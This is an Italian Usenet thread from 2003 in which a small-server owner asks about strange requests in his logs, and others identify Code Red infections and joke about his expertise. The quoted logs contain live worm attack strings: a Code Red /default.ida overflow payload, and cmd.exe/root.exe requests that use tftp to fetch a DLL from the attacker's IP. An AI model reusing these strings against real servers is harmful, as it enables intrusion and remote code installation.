Newsgroup: it.comp.sicurezza.windows
Titolo: Accessi al WEB

Al lavoro ho una ADSL con un piccolo server WEB sulla porta 80, per uso
saltuario.
Quando lo lascio aperto, noto che ci sono sempre uno o due IP che si
collegano, mandano una stringa e se ne vanno, senza fare nulla.
Dal log ho visto:
[06/26/2003 - 02.12.30] [HTTP:180] 80.181.78.75 Connected.
[06/26/2003 - 02.12.30] [HTTP:180] File of Interest:
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
[06/26/2003 - 02.12.30] [HTTP:180] 80.181.78.75 disconnected.
Manda solo questo.
Chi e' e cosa fa?
L'ip degli intrusi non e' mai lo stesso.
Il mio IP non e' mai pubblicato da nessuna parte.
E' come se facessero una scansione per trovare non so cosa.
Nessun problema se uso la porta 81.
Grazie

 Chi e' e cosa fa?
Macchine infette dal worm Code Red, gugla per altre info.
Bye, G.

 Male.
Perchè, che c'è di così scandaloso?

 Perchè, che c'è di così scandaloso?
Il resto del post :-). Aspe', mi spiego meglio... sarò un po'
talebano (no, non c'azzecca, ma a quest'ora non mi viene
un termine più esatto... facciamo estremista ?), ma se uno
non conosce Code Red dopo tutto il casino che c'è stato,
forseprobabilmentemagaripuòdarsi che non sia proprio molto
esperto, giusto ? :-)
[dall'altra parte]
    Forse... in fondo che ne sai tu ? Magari è Leonardo Serni
    che ci prende in giro :-P.
[/dall'altra parte]
In quel caso, se lascia un Web server aperto a chiunque
su internet, IMVVVHO, va in cerca di guai.
Non so, io sono notoriamente paranoico, e se dovessi
avere una situazione simile, beh, vorrei averla in DMZ, con
Apache su Linux e i log su una macchina diversa, inviati
con collegamento one-way via seriale :-P.
[dall'altra parte]
    E chi ti dice che lui non ce l'ha ? O magari di peggio ?
[/dall'altra parte]
[aria di insopportabile superiorità]
    Poi va in giro con quell'OE 5.50, non proprio aggiornato...
[/aria di insopportabile superiorità]
[dall'altra parte]
    Non è che il tuo 6.0 sia proprio inattaccabile, eh ?
    E poi lui in compenso è uno che sa che esistono i log e
    soprattutto li controlla. E' più di quello che si poteva dire
    di te qualche anno fa... e anche ora non è che tu sia
    proprio un esperto :-).
[/dall'altra parte]
Bye, G.

E questo?
80.193.231.224 Connected.
File of Interest: /scripts/root.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/scripts/root.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20httpodbc.
dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /scripts/httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /MSADC/root.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/MSADC/root.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20httpodbc.dl
l
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /MSADC/httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /c/winnt/system32/cmd.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20c
:\httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20d
:\httpodbc.dll
Host: www
80.193.231.224 disconnected

 u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
Puzza di buffer overflow lontano un miglio... ;-)
-- 
Do you like me for my brain or my baud?
News 2000 [v 2.06] - 
http://www.akapulce.net/socket2000

 E chi ti dice che gli header siano giusti? ;)
A me lo dici ? :-)
Bye, G.

 > [/aria di insopportabile superiorità]
